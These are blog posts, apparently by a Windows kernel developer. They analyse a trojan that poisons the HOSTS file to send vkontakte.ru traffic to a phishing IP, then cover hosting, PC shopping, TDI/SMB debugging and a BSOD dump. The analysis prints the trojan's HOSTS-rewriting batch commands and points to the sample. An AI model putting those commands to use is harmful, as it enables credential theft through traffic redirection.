Funny ad from Switzerland: Comcast Broadband Internet Rabbit
It’s quite often to happen with average user on the Internet – to recieve spam. Sometimes it advertises some junk, but sometimes it asks user to run some executable which does some magic, for example, it allows to send sms to any mobile operator for free :). As every human being is a little bit naive, this works : people do run executables coming from Internet and thus get infected. Sometimes even antivirus software is silent, this makes user to feel safe and run something…
Once upon a time (more precise : 20 of June 2009) I recieved a link by ICQ from unknown user. Well, sometimes this happens, I wanted to ingnore it, but a pure curiosity forced me to check the link and the file with my antivirus. The link is http://noko1.free.of.pl/imert.[REMOVE_THIS]exe and my antivirus found nothing. It made me even more interested in binary. I checked the file using PE ID utility and it seems like the executable is packed using UPX packer, as it contains UPX1 section.
It’s quite simple to unpack the binary using upx unpacker :

Now the file can be openeded in Ida and analyzed in more details. It’s entry point is a little bit special, as it does not contain standart CRT prologue. Instead, it does some magic heaps allocations and makes operations with strings:
.code:00401000 public start .code:00401000 start proc near .code:00401000 .code:00401000 var_10 = dword ptr -10h .code:00401000 var_C = dword ptr -0Ch .code:00401000 var_8 = dword ptr -8 .code:00401000 var_4 = dword ptr -4 .code:00401000 .code:00401000 push 0C4h ; size_t .code:00401005 push 0 ; int .code:0040100A push offset hHeap ; void * .code:0040100F call memset .code:00401014 add esp, 0Ch .code:00401017 push 0 ; lpModuleName .code:0040101C call GetModuleHandleA .code:00401021 mov hModule, eax .code:00401026 push 0 ; dwMaximumSize .code:0040102B push 1000h ; dwInitialSize .code:00401030 push 0 ; flOptions .code:00401035 call HeapCreate .code:0040103A mov hHeap, eax .code:0040103F call sub_403000 .code:00401044 call sub_407470 .code:00401049 call sub_406807 .code:0040104E call sub_406040 .code:00401053 call sub_404AB3 .code:00401058 call sub_4040E0 .code:0040105D call sub_403D90 .code:00401062 call sub_40393B .code:00401067 call sub_403694 .code:0040106C push 7 .code:00401071 push offset unk_40A388 .code:00401076 lea eax, dword_40B1B8 .code:0040107C push eax .code:0040107D push 8 .code:00401082 call sub_403EF0 .code:00401087 mov dword_40B1B4, eax .code:0040108C push 7 .code:00401091 push offset dword_40B1AC .code:00401096 push offset unk_40A380 .code:0040109B mov edx, dword_40B1AC .code:004010A1 call sub_403060 .code:004010A6 mov eax, 401h .code:004010AB push 8 .code:004010B0 call sub_4030A0 .code:004010B5 push 400h ; dwBytes .code:004010BA call sub_403DC0 .code:004010BF mov szLang, eax .code:004010C4 push 8 ; nSize .code:004010C9 push szLang ; szLang .code:004010CF call GetUserDefaultLangID .code:004010D4 push eax ; wLang .code:004010D5 call VerLanguageNameA .code:004010DA push szLang ; lpsz .code:004010E0 call CharLowerA .code:004010E5 mov eax, dword_40B3B0 .code:004010EA push eax .code:004010EB push eax .code:004010EC push 8 .code:004010F1 push szLang .code:004010F7 call sub_403DE0 .code:004010FC lea ecx, dword_40B134 .code:00401102 pop edx .code:00401103 call sub_4030F0 .code:00401108 push szLang ; lpMem .code:0040110E call sub_403E30 .code:00401113 push dword_40B134 .code:00401119 mov edx, offset aDeutsch ; "deutsch" .code:0040111E pop ecx .code:0040111F call sub_4074C0 .code:00401124 jz loc_4011FF .code:0040112A mov edx, offset aFortfahren? ; "Fortfahren?" .code:0040112F lea ecx, dword_40B138 ; int .code:00401135 call sub_403108 .code:0040113A mov edx, offset aFehler ; "Fehler!" .code:0040113F lea ecx, lpCaption ; int .code:00401145 call sub_403108 .code:0040114A mov edx, offset aEinigeIncludeD ; "Einige Include Dateien konnten nicht er"... .code:0040114F lea ecx, dword_40B140 ; int .code:00401155 call sub_403108 .code:0040115A mov edx, offset aNichtGen ; "Nicht gen" .code:0040115F lea ecx, dword_40B144 ; int .code:00401165 call sub_403108 .code:0040116A mov edx, offset aFalschesPasswo ; "Falsches Passwort." .code:0040116F lea ecx, dword_40B148 ; int .code:00401175 call sub_403108 .code:0040117A mov edx, offset aBerschreiben? ; "-berschreiben?" .code:0040117F lea ecx, dword_40B14C ; int .code:00401185 call sub_403108 .code:0040118A mov edx, offset aDieDatei ; "Die Datei " .code:0040118F lea ecx, dword_40B150 ; int .code:00401195 call sub_403108 .code:0040119A mov edx, offset aExistiertBerei ; " existiert bereits im aktuellen Arbeits"... .code:0040119F lea ecx, dword_40B154 ; int .code:004011A5 call sub_403108 .code:004011AA mov edx, offset aEinUnbekannter ; "Ein unbekannter Fehler ist aufgetreten."... .code:004011AF lea ecx, dword_40B158 ; int .code:004011B5 call sub_403108 .code:004011BA mov edx, offset aDasProgrammWir ; "Das Programm wird von diesem Betriebssy"... .code:004011BF lea ecx, lpText ; int .code:004011C5 call sub_403108 .code:004011CA mov edx, offset aBitteWfhlenSie ; "Bitte wôhlen Sie einen Ordner zum Speic"... .code:004011CF lea ecx, dword_40B160 ; int .code:004011D5 call sub_403108 .code:004011DA mov edx, offset aPasswort ; "Passwort" .code:004011DF lea ecx, dword_40B164 ; int .code:004011E5 call sub_403108 .code:004011EA mov edx, offset aBitteGebenSieD ; "Bitte geben Sie das Passwort ein." .code:004011EF lea ecx, lpWindowName ; int .code:004011F5 call sub_403108 .code:004011FA jmp loc_4012CF .code:004011FF ; --------------------------------------------------------------------------- .code:004011FF .code:004011FF loc_4011FF: ; CODE XREF: start+124j .code:004011FF mov edx, offset aContinue? ; "Continue?" .code:00401204 lea ecx, dword_40B138 ; int .code:0040120A call sub_403108 .code:0040120F mov edx, offset aError ; "Error!" .code:00401214 lea ecx, lpCaption ; int .code:0040121A call sub_403108 .code:0040121F mov edx, offset aCanNotCreateSo ; "Can not create some of your include fil"... .code:00401224 lea ecx, dword_40B140 ; int .code:0040122A call sub_403108 .code:0040122F mov edx, offset aCanNotAllocate ; "Can not allocate the memory." .code:00401234 lea ecx, dword_40B144 ; int .code:0040123A call sub_403108 .code:0040123F mov edx, offset aWrongPassword_ ; "Wrong password." .code:00401244 lea ecx, dword_40B148 ; int .code:0040124A call sub_403108 .code:0040124F mov edx, offset aOverwrite? ; "Overwrite?" .code:00401254 lea ecx, dword_40B14C ; int .code:0040125A call sub_403108 .code:0040125F mov edx, offset aTheFile ; "The file " .code:00401264 lea ecx, dword_40B150 ; int .code:0040126A call sub_403108 .code:0040126F mov edx, offset aAlreadyExistsI ; " already exists in the current director"... .code:00401274 lea ecx, dword_40B154 ; int .code:0040127A call sub_403108 .code:0040127F mov edx, offset aAnUnknownError ; "An unknown error occured. The program w"... .code:00401284 lea ecx, dword_40B158 ; int .code:0040128A call sub_403108 .code:0040128F mov edx, offset aThisProgramIsN ; "This program is not supported on this o"... .code:00401294 lea ecx, lpText ; int .code:0040129A call sub_403108 .code:0040129F mov edx, offset aChooseALocatio ; "Choose a location to save the files." .code:004012A4 lea ecx, dword_40B160 ; int .code:004012AA call sub_403108 .code:004012AF mov edx, offset aPassword ; "Password" .code:004012B4 lea ecx, dword_40B164 ; int .code:004012BA call sub_403108 .code:004012BF mov edx, offset aPleaseEnterThe ; "Please enter the password." .code:004012C4 lea ecx, lpWindowName ; int .code:004012CA call sub_403108 .code:004012CF .code:004012CF loc_4012CF: ; CODE XREF: start+1FAj .code:004012CF call sub_403CD7 .code:004012D4 mov ebx, eax .code:004012D6 cmp ebx, 32h .code:004012D9 jge short loc_4012F6 .code:004012DB push 10h ; uType .code:004012E0 push lpText ; lpText .code:004012E6 push lpCaption ; lpCaption .code:004012EC call sub_4036A2 .code:004012F1 jmp loc_401B9F .code:004012F6 ; --------------------------------------------------------------------------- .code:004012F6 .code:004012F6 loc_4012F6: ; CODE XREF: start+2D9j .code:004012F6 lea eax, TopLevelExceptionFilter .code:004012FC push eax ; lpTopLevelExceptionFilter .code:004012FD call sub_403B70 .code:00401302 call sub_403A66 .code:00401307 mov dword_40B170, eax
It is not clear the purpose of this, I suppose the main idea is to mix code and fool the heuristics and signature checks of antiviruses. Further start interesting thigs. The code starts to touch own resources:
.code:004020B1 xor eax, eax .code:004020B3 push eax .code:004020B4 push eax .code:004020B5 mov edx, [esp+8+arg_4] ; char * .code:004020B9 lea ecx, [esp+8+lpName] ; int .code:004020BC call sub_403100 .code:004020C1 push 0Ah ; lpType .code:004020C6 push [esp+0Ch+lpName] ; lpName .code:004020CA push [esp+10h+hModule] ; hModule .code:004020CE call FindResourceA .code:004020D3 mov [esp+8+hResInfo], eax .code:004020D7 cmp [esp+8+hResInfo], 0 .code:004020DC jz short loc_402102 .code:004020DE push [esp+8+hResInfo] ; hResInfo .code:004020E2 push [esp+0Ch+hModule] ; hModule .code:004020E6 call LoadResource .code:004020EB mov szLang, eax .code:004020F0 push [esp+8+hResInfo] ; hResInfo .code:004020F4 push [esp+0Ch+hModule] ; hModule .code:004020F8 call SizeofResource .code:004020FD mov dword_40B16C, eax
It’s easy to see resources of application using ResHacker tool. Just open the file, and selectivly check all data untill you find something interesting. In my case, the following data is found:
echo echo loliki echo 220.225.200.15 net.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 220.225.200.15 farmer.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 220.225.200.15 net.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 220.225.200.15 vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 220.225.200.15 forex.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 220.225.200.15 www.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo 220.225.200.15 durov.vkontakte.ru >> %windir%\system32\drivers\etc\hosts echo hgfghfghgf echo l64 end
Does it remind you something? Correct, this seems to be a content of a bat file which changes the records of HOSTS file thus causing the traffic going to http://vkontakte.ru web site to be redirected to IP 220.225.200.15. To prove this, I need to find the place in binary where the bat file actually is executed. The best way to accomplish this is to run the file under debugger and trace it untill the ShellExecute function is called (why ShellExecute? because there is no CreateProcess in import table :) ):
00402761 $ 55 PUSH EBP 00402762 . 53 PUSH EBX 00402763 . BA 14000000 MOV EDX,14 00402768 > 83EC 04 SUB ESP,4 0040276B . C70424 00000000 MOV DWORD PTR SS:[ESP],0 00402772 . 4A DEC EDX 00402773 .^75 F3 JNZ SHORT imert.00402768 00402775 . 8B5424 5C MOV EDX,DWORD PTR SS:[ESP+5C] 00402779 . 8D0C24 LEA ECX,DWORD PTR SS:[ESP] 0040277C . E8 7F090000 CALL imert.00403100 00402781 . 8B5424 60 MOV EDX,DWORD PTR SS:[ESP+60] 00402785 . 8D4C24 04 LEA ECX,DWORD PTR SS:[ESP+4] 00402789 . E8 72090000 CALL imert.00403100 0040278E . 8B5424 64 MOV EDX,DWORD PTR SS:[ESP+64] 00402792 . 8D4C24 08 LEA ECX,DWORD PTR SS:[ESP+8] 00402796 . E8 65090000 CALL imert.00403100 0040279B . 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] 0040279F . 8D6C24 0C LEA EBP,DWORD PTR SS:[ESP+C] 004027A3 . C745 00 3C000000 MOV DWORD PTR SS:[EBP],3C 004027AA . C745 04 40010000 MOV DWORD PTR SS:[EBP+4],140 004027B1 . C745 1C 00000000 MOV DWORD PTR SS:[EBP+1C],0 004027B8 . B8 0EA14000 MOV EAX,imert.0040A10E ; ASCII "open" 004027BD . 8945 0C MOV DWORD PTR SS:[EBP+C],EAX 004027C0 . 8B0424 MOV EAX,DWORD PTR SS:[ESP] 004027C3 . 8945 10 MOV DWORD PTR SS:[EBP+10],EAX 004027C6 . 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 004027CA . 8945 14 MOV DWORD PTR SS:[EBP+14],EAX 004027CD . 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 004027D1 . 8945 18 MOV DWORD PTR SS:[EBP+18],EAX 004027D4 . 8D4424 0C LEA EAX,DWORD PTR SS:[ESP+C] 004027D8 . 50 PUSH EAX 004027D9 . E8 2D580000 CALL
Probably the function snipped from Ida will be more interesting, as it is more user friendly:
.code:00402761 sub_402761 proc near ; CODE XREF: start+B1Dp .code:00402761 .code:00402761 var_C = dword ptr -0Ch .code:00402761 lpMem = dword ptr -8 .code:00402761 var_4 = dword ptr -4 .code:00402761 arg_38 = dword ptr 3Ch .code:00402761 ExitCode = dword ptr 40h .code:00402761 arg_4C = dword ptr 50h .code:00402761 arg_50 = dword ptr 54h .code:00402761 arg_54 = dword ptr 58h .code:00402761 .code:00402761 push ebp .code:00402762 push ebx .code:00402763 mov edx, 14h .code:00402768 .code:00402768 loc_402768: ; CODE XREF: sub_402761+12j .code:00402768 sub esp, 4 .code:0040276B mov [esp+0Ch+var_C], 0 .code:00402772 dec edx .code:00402773 jnz short loc_402768 .code:00402775 mov edx, [esp+0Ch+arg_4C] ; char * .code:00402779 lea ecx, [esp+0Ch+var_C] ; int .code:0040277C call sub_403100 .code:00402781 mov edx, [esp+0Ch+arg_50] ; char * .code:00402785 lea ecx, [esp+0Ch+lpMem] ; int .code:00402789 call sub_403100 .code:0040278E mov edx, [esp+0Ch+arg_54] ; char * .code:00402792 lea ecx, [esp+0Ch+var_4] ; int .code:00402796 call sub_403100 .code:0040279B lea eax, [esp+0Ch] .code:0040279F lea ebp, [esp+0Ch] .code:004027A3 mov dword ptr [ebp+0], 3Ch .code:004027AA mov dword ptr [ebp+4], 140h .code:004027B1 mov dword ptr [ebp+1Ch], 0 .code:004027B8 mov eax, offset aOpen ; "open" .code:004027BD mov [ebp+0Ch], eax .code:004027C0 mov eax, [esp+0Ch+var_C] .code:004027C3 mov [ebp+10h], eax .code:004027C6 mov eax, [esp+0Ch+var_4] .code:004027CA mov [ebp+14h], eax .code:004027CD mov eax, [esp+0Ch+lpMem] .code:004027D1 mov [ebp+18h], eax .code:004027D4 lea eax, [esp+0Ch] .code:004027D8 push eax ; lpExecInfo .code:004027D9 call ShellExecuteExA .code:004027DE mov [esp+0Ch+arg_38], eax .code:004027E2 .code:004027E2 loc_4027E2: ; CODE XREF: sub_402761:loc_40280Fj .code:004027E2 push 19h ; dwMilliseconds .code:004027E7 call Sleep .code:004027EC lea eax, [esp+0Ch+ExitCode] .code:004027F0 push eax ; lpExitCode .code:004027F1 lea ebp, [esp+10h] .code:004027F5 push dword ptr [ebp+38h] ; hProcess .code:004027F8 call GetExitCodeProcess
Strange, yes? Why would someone would like to redirect traffic into another web site? Let us check weblink http://220.225.200.15 and http://vkontakte.ru … They seems to be almost identical, yes? The differences are barely seen. Which means user wishes to enter web site http://vkontakte.ru but actually is redirected into http://220.225.200.15 and enters his login, password into unknown web site. Let us check the official IPs of web site http://vkontakte.ru :
C:\Program Files\Far>nslookup vkontakte.ru Reponse ne faisant pas autorite : Nom : vkontakte.ru Addresses: 93.186.224.238 93.186.224.239 93.186.225.6 93.186.225.211 93.186.225.212 93.186.226.4 93.186.226.5 93.186.226.129 93.186.226.130 93.186.227.123 93.186.227.124 93.186.227.125 93.186.227.126 93.186.227.129 93.186.227.130 93.186.224.233 93.186.224.234 93.186.224.235 93.186.224.236 93.186.224.237
None of them seems to be equal to 220.225.200.15. Now, let’s check the official http://vkontakte.ru IPs location at http://ip2location.com web site. Notice that they all are situated in Russian Federation. Now check 220.225.200.15 and notice that it is India …
A little background. The website http://vkontakte.ru is one of the biggest social network in CIS (Commonwealth of Independent States) counting more than 30 millions of users. So, this is a very good source for malware writers to steal passwords and other private information. It is pity that mine antivirus which is Eset Smart Security 4.0 could not detect this kind of threat. I also tried to check the file using trial version of Norton antivirus, and it also did not warned me. Don’t trust your antivirus even if it is one of the best ;)
If you would like to get an access to this executable file, use it at your own risk. File can be found at this link in rar arhive protected with password: iunderstandtherisks
UPDATE: I’ve sent this link to Eset Nod32 support, and they updated own database. Starting from 24 of June 2009 the file is detected as Win32/Qhost.NLB trojan.
Sorry, this entry is only available in Russian.
My hosting plan for www.shcherbyna.com is almost over, and I decided not to continue it in my current place. Instead I am going to move everything to a free for MVPs hosting powered by http://orcsweb.com. Which means I will follow painful migration procedure and I can lost users, comments and pingbacks. Well, this is bad, agree. On the other hand, I would not lost content (posts, articles) and I will have free hosting which is a way much powerful than previous one. So I decided to give a try.
Please do not be surprised if you will see that blog has changed and all users have been lost. I do my best to make migration less painful, and I hope that will be the case.
P.S. For Russian speaking community: I am sorry, I decided to discontinue translation of all posts into Russian as it takes much time, and usually I don’t have it … On a new hosting posts will be only in English.
Sorry, this entry is only available in Russian.
I was inspired to write this post after having tried several companies in Switzerland in terms of computer staff. First thing you notice in Switzerland is that:
1. The prices usually are higher than in US or Canada (difference is quite big)
2. There are only few companies where you can assemble machine from pieces (I mean to buy separately pieces and assembly machine on your own)
3. Microsoft operating systems are everywhere , and usually you cannot get rid of XP or Vista
4. Working staff does not speak English, or speaks but very bad :)
A good place to compare prices for hardware in Switzerland is to visit toppreise.ch and have a look at prices. You will notice main key players on the marked: Dell, HP, stegcomputer and a few more.
Dell (www.dell.ch)
Between companies above, the cheapest will be Dell in terms of price/quality. But you cannot order Dell machine without OS. You also don’t know the exact configuration of Dell machine as they specify only CPU, amount of memory, amount of HDD and the type of monitor. Specification for the most important machine unit: motherboard is missing at Dell website. Why motherboard is so important for me? Because motherboard should allow further upgrade of machine with-in few upcoming years. What is the reason to buy machine at Dell and later when you would like to put more RAM to discover that your motherboard is limited to 4GB of RAM only?
I tried to communicate with Dell regarding what kind of motherboards they do use but the staff spoke French and not English. So I gave up.
HP (http://welcome.hp.com/country/ch/fr/welcome.html)
Too expensive. The same problems as with Dell.
Stegcomputer (http://www.stegcomputer.ch/shop.asp)
You can buy hardware and assembly machine from pieces. But the total price is quite high. Personal does not speak English (I checked in canton de Vaud). Big queues at office. No prices for small things like cables, RJ45 connectors, etc in the office which forces you to stay in the queue and wait a lot just to ask the price.
The main web site is not translated into English. Actually, there are 3 languages in Switzerland, and the main “shop” page is available in German only, not even in French. That’s strange for a company which did 99 millions of euro in 2007 year (http://www.stegcomputer.ch/fr/ueberuns/index.php?active=3) and is unable to translate own web site into 3 or 4 languages :)
Given above, I was desperate to find a good place to order machine without any OS pre-installed with quite low prices. After searching a lot I found this place: http://pcdesigns.ch/. So I gave a try and contacted Robert Mckinnon at support@pcdesigns.ch . After some communication I concluded that:
- The prices are low. Lower then the prices of Dell, HP, stegcomputer and others in Switzerland
- Service can be done in English as well as in other languages
- Support is excellent (I got replies even at late evening)
- Possibility to adjust machine configuration depending on what you want
My requirements were quite special as I wanted machine to run Linux, be powerful and cheap. I need a machine which will be able to run virtualization software and do a lot of compilations and debugging at the same time. Machine having not less than 4 cores and minimum 4 gb of RAM with powerful motherboard and wide monitor. And I was completely satisfied with http://pcdesigns.ch/!
Recently I met a problem in one of my TDI filters when filtering SMB traffic. The filter driver was able to see outgoing TDI_CONNECT requests to 139 and 445 ports, but during the heavy file upload there was no TDI_SEND requests issued.
Usually in such cases you start to googlize for a solution, and I found a few posts explaining the same problem, but they were actually dead – no reply since 2002 :). I also asked for a question at popular DDK newsgroups assuming this was a well-known issue, and still got no answer.
Well, it started to be more and more interesting, especially taking into account that TDI lacks a lot of documentation and many things have to be resolved myself. I also used IrpTracker, TdiMon, TdiScoup utilities trying to see any missed IRPs but I was failed to see them. I need a point to start researches from. The best in this case is, I believe, a breakpoint to IoCallDriver. So, I opened share, started a file upload on a share, and put breakpoint in debugger:
0: kd> bp IofCallDriver
… and continue by pressing F5. Then break occures:
f62b281c f6e04139 nt!IofCallDriver f62b2824 f6e03a47 rdbss!RxCeSubmitAsynchronousTdiRequest+0x28 f62b285c f6e0d0a0 rdbss!RxTdiSend+0x1ca f62b28b8 f6d57609 rdbss!RxCeSend+0x74 f62b28e0 f6d35152 mrxsmb!VctTranceive+0x66 f62b2924 f6d597de mrxsmb!SmbCeTranceive+0x233 f62b2960 f6d5c350 mrxsmb!SmbPseOrdinaryExchange+0x18e f62b29b0 f6d59668 mrxsmb!SmbPseExchangeStart_Write+0x1e3 f62b29c0 f6d57ab4 mrxsmb!SmbPseExchangeStart_default+0x12 f62b29e4 f6d5be6e mrxsmb!SmbCeInitiateExchange+0x287 f62b2a24 f6e0d49f mrxsmb!MRxSmbWrite+0x309 f62b2a4c f6e110e7 rdbss!RxLowIoSubmit+0x1c3 f62b2a6c f6e1183f rdbss!RxLowIoWriteShell+0x77 f62b2b90 f6e02d51 rdbss!RxCommonWrite+0x116f f62b2c28 f6e0cbb0 rdbss!RxFsdCommonDispatch+0x353 f62b2c50 f6d57217 rdbss!RxFsdDispatch+0xda f62b2c70 804ef095 mrxsmb!MRxSmbFsdDispatch+0x134 f62b2c80 8057e70a nt!IopfCallDriver+0x31 f62b2c94 8057c2cd nt!IopSynchronousServiceTail+0x60 f62b2d38 8054086c nt!NtWriteFile+0x5d7
As it seems from stack, the network file redirector is calling TDI (look at function name RxTdiSend) and this confuses me even more, as my filter has to receive IRP in this case. Continue more step by step debugging and I see actually that the request of file system redirector is sent to netbt.sys and not to TDI:
nt!IopfCallDriver: 804ef064 fe4a23 dec byte ptr [edx+23h] 804ef067 8a4223 mov al,byte ptr [edx+23h] 804ef06a 84c0 test al,al 804ef06c 7f0e jg nt!IopfCallDriver+0x18 (804ef07c) 804ef06e 6a00 push 0 804ef070 6a00 push 0 804ef072 6a00 push 0 804ef074 52 push edx 804ef075 6a35 push 35h 804ef077 e854ad0000 call nt!KeBugCheckEx (804f9dd0) 804ef07c 8b4260 mov eax,dword ptr [edx+60h] 804ef07f 83e824 sub eax,24h 804ef082 56 push esi 804ef083 894260 mov dword ptr [edx+60h],eax 804ef086 894814 mov dword ptr [eax+14h],ecx 804ef089 0fb600 movzx eax,byte ptr [eax] 804ef08c 8b7108 mov esi,dword ptr [ecx+8] 804ef08f 52 push edx 804ef090 51 push ecx 804ef091 ff548638 call dword ptr [esi+eax*4+38h] ds:0023:81f486e4={netbt!NbtDispatchInternalCtrl (f6da29ef)}
In dispatch function of netbt.sys I see the call to NtSend function: netbt!NbtDispatchInternalCtrl:
f6da29ef 8bff mov edi,edi f6da29f1 55 push ebp f6da29f2 8bec mov ebp,esp f6da29f4 56 push esi f6da29f5 8b750c mov esi,dword ptr [ebp+0Ch] f6da29f8 57 push edi f6da29f9 8b7e60 mov edi,dword ptr [esi+60h] f6da29fc 807f0107 cmp byte ptr [edi+1],7 f6da2a00 897d0c mov dword ptr [ebp+0Ch],edi f6da2a03 0f85b6120000 jne netbt!NbtDispatchInternalCtrl+0x24 (f6da3cbf) f6da2a09 56 push esi f6da2a0a ff7508 push dword ptr [ebp+8] f6da2a0d e838060000 call netbt!NTSend (f6da304a)
In netbt.NtSend function I see a code which is preparing an IRP to be processed:
f6da310e 83ee24 sub esi,24h f6da3111 83c004 add eax,4 f6da3114 894604 mov dword ptr [esi+4],eax f6da3117 c7461c832fdaf6 mov dword ptr [esi+1Ch],offset netbt!SendCompletion (f6da2f83) f6da311e 897e20 mov dword ptr [esi+20h],edi f6da3121 c64603e0 mov byte ptr [esi+3],0E0h f6da3125 c6060f mov byte ptr [esi],0Fh f6da3128 c6460107 mov byte ptr [esi+1],7 f6da312c 8b0b mov ecx,dword ptr [ebx] f6da312e 014f48 add dword ptr [edi+48h],ecx f6da3131 8b4730 mov eax,dword ptr [edi+30h] f6da3134 8b1d08d1dbf6 mov ebx,dword ptr [netbt!_imp__IoGetRelatedDeviceObject (f6dbd108)] f6da313a 83574c00 adc dword ptr [edi+4Ch],0 f6da313e 50 push eax f6da313f 8945f0 mov dword ptr [ebp-10h],eax f6da3142 894618 mov dword ptr [esi+18h],eax f6da3145 ffd3 call ebx {nt!IoGetRelatedDeviceObject (804ef658)}
And at the end of a function I see the code which is sending the IRP directly to tcpip.sys TcpSendData handler:
f6da3166 834060dc add dword ptr [eax+60h],0FFFFFFDCh f6da316a 56 push esi f6da316b 50 push eax f6da316c ff5764 call dword ptr [edi+64h] ds:0023:8200c324={tcpip!TCPSendData (f6ea04f0)} f6da316f 6a00 push 0 f6da3171 6a00 push 0 f6da3173 ff7508 push dword ptr [ebp+8] f6da3176 8bf0 mov esi,eax f6da3178 e81df8ffff call netbt!NBT_DEREFERENCE_DEVICE (f6da299a) f6da317d 5f pop edi f6da317e 8bc6 mov eax,esi f6da3180 5e pop esi f6da3181 5b pop ebx f6da3182 c9 leave f6da3183 c20800 ret 8 f6da3186 90 nop
Thats actually an answer to the question, why TDI filters are unable to filter SMB session traffic. Netbt.sys simply sends data directly to tcpip.sys via TCPSendData function and I believe, this is done for perfomance purposes.
I see this bug for a quite a long time, starting from VS2005. To illustrate the problem:
1. Go to project properties, open some tab
2. Do not close the property dialog windows simply change the focus by clicking in code editor
Once you click in code editor, you property window is gone, and you see an empty dialog which looks like this:
1. The causes
Recently I was observing strange BSODs on my Vista machine quite periodically when dealing with network applications:

2. Investigations
As you can see the BSOD happens because the tcpip.sys is trying to access some wrong address. Luckily, I was able to access the dump file generated during this BSOD. When I try to execute the analyze command, I get the following output:
0: kd> !analyze –v DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) An attempt was made to access a pageable (or completely invalid) address at an interrupt request level (IRQL) that is too high. This is usually caused by drivers using improper addresses. If kernel debugger is available get stack backtrace. Arguments: Arg1: 00000004, memory referenced Arg2: 00000002, IRQL Arg3: 00000000, value 0 = read operation, 1 = write operation Arg4: 8348780f, address which referenced memory MODULE_NAME: tcpip FAULTING_MODULE: 8183b000 nt DEBUG_FLR_IMAGE_TIMESTAMP: 47919120 READ_ADDRESS: 00000004 CURRENT_IRQL: 2 FAULTING_IP: tcpip!TcpIndicateData+22b 8348780f 8b4304 mov eax,dword ptr [ebx+4] DEFAULT_BUCKET_ID: WRONG_SYMBOLS BUGCHECK_STR: 0xD1 LAST_CONTROL_TRANSFER: from 8348780f to 81895d84 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 84546998 8348780f badb0d00 00000001 845469d0 nt!Kei386EoiHelper+0x291c 84546a8c 8348746a 00000000 87df0148 84546b08 tcpip!TcpIndicateData+0x22b 84546ad4 834878f4 84547000 00000000 84546b08 tcpip!TcpDeliverDataToClient+0x162 84546af8 83483a17 9b805408 9b8054f4 8c3072f0 tcpip!TcpDeliverReceive+0x71 84546b38 83484444 9b805408 84546b58 84546b8c tcpip!TcpTcbFastDatagram+0x2b9 84546b98 83483f47 86f304d0 00805408 84546bfc tcpip!TcpTcbReceive+0xf8 84546bf0 83483d40 86f304d0 9424d1e0 00000000 tcpip!TcpMatchReceive+0x1ec 84546c38 8348433c 86f304d0 9424d1e0 9424d118 tcpip!TcpPreValidatedReceive+0x2b0 84546c54 8348493f 86f304d0 9424d1e0 84546c90 tcpip!TcpReceive+0x32 84546c64 834af013 84546c78 c000023e 00000000 tcpip!TcpNlClientReceiveDatagrams+0x12 84546c90 834aedd6 83505e50 84546ce4 c000023e tcpip!IppDeliverListToProtocol+0x49 84546cb0 834aecfd 83505c68 00000006 84546ce4 tcpip!IppProcessDeliverList+0x2a 84546d08 834a6187 83505c68 00000006 8193d13c tcpip!IppReceiveHeaderBatch+0x1eb 84546d30 81a5723b 86381598 00505c68 831eb020 tcpip!IppLoopbackTransmit+0x52 84546d44 8187341d 861c4fe0 00000000 831eb020 nt!LpcRequestPort+0x525 84546d7c 81a10a1c 861c4fe0 ed23e69f 00000000 nt!KeQuerySystemTime+0x14d 84546dc0 81869a3e 81873320 00000001 00000000 nt!RtlDestroyAtomTable+0x4fe 00000000 00000000 00000000 00000000 00000000 nt!RtlSubAuthorityCountSid+0x3c4
… which is very strange. The stack contains only Windows native components, no guilty third party driver can be seen here. Let’s try to get more details from the faulting code. Since the function is really big ( you may check this by invoking uf tcpip!TcpIndicateData ) I will concentrate on a near code, which is close to failure address 8348780f:
0: kd> u 834877f6 83487822 tcpip!TcpIndicateData+0x212: 834877f6 e80cceffff call tcpip!TcpNetBufferListChainDelay (83484607) 834877fb 8365fc00 and dword ptr [ebp-4],0 834877ff 8b5dfc mov ebx,dword ptr [ebp-4] 83487802 eb60 jmp tcpip!TcpIndicateData+0x280 (83487864) 83487804 2bca sub ecx,edx 83487806 03cf add ecx,edi 83487808 8bf3 mov esi,ebx 8348780a 895d14 mov dword ptr [ebp+14h],ebx 8348780d 7455 je tcpip!TcpIndicateData+0x280 (83487864) 8348780f 8b4304 mov eax,dword ptr [ebx+4] 83487812 8b400c mov eax,dword ptr [eax+0Ch] 83487815 3bc8 cmp ecx,eax 83487817 720f jb tcpip!TcpIndicateData+0x244 (83487828) 83487819 2bc8 sub ecx,eax 8348781b 8b03 mov eax,dword ptr [ebx] 8348781d 8bf3 mov esi,ebx 8348781f 8945fc mov dword ptr [ebp-4],eax
The line where BSOD occurs is marked as bold. Unfortunately, nothing obvious at this point. TcpIndicateData is undocumented, and even Google does not bring any information about it. OK, I doubt there is a problem with tcpip.sys driver, most likely, the BSOD is caused by some third party driver.
However, how can I find it if I am unable to get the relevant stack information from “analyze –v” command? Well, at this point I can try to take a look at raw stack trace by issuing: dps esp – 3000 esp + 3000 in debugger:
0: kd> dps esp - 3000 esp + 3000 84543980 ???????? [...] 845464e0 8b92f065 crashdmp!WriteKernelDump+0x83 845464e4 00000000 845464e8 0003d229 845464ec 00000000 845464f0 00000000 845464f4 8b933270 crashdmp!Context+0x20 845464f8 00000000 845464fc 000089da 84546500 000079b8 84546504 00000004 84546508 84546520 8454650c 8b92f1bd crashdmp!DumpWrite+0x7b 84546510 0003d229 [...] 845465f8 8196a2a0 nt!KiBugCheckData+0x20 845465fc 8348780f tcpip!TcpIndicateData+0x22b 84546600 831eb020 [...] 84546944 00000001 84546948 9b805408 8454694c 8a56ca3a tdx!TdxEventReceiveConnection+0x326 84546950 84546978 84546954 86ec6238 84546958 89c1a0d0 8454695c 00000000 84546960 931a7c70 somedrv+0x1c70 84546964 86f51e70 84546968 00000c20 8454696c 00000001
I removed unnecessary stack data just for the sake of clearance. In this stack trace you see at the top the calls made by system to generate BSOD dump file (crashdmp!WriteKernelDump), then goes a sequence of TcpIndicateData, TdxEventRecieveConnection and finally some call to somedrv+0×1c70.
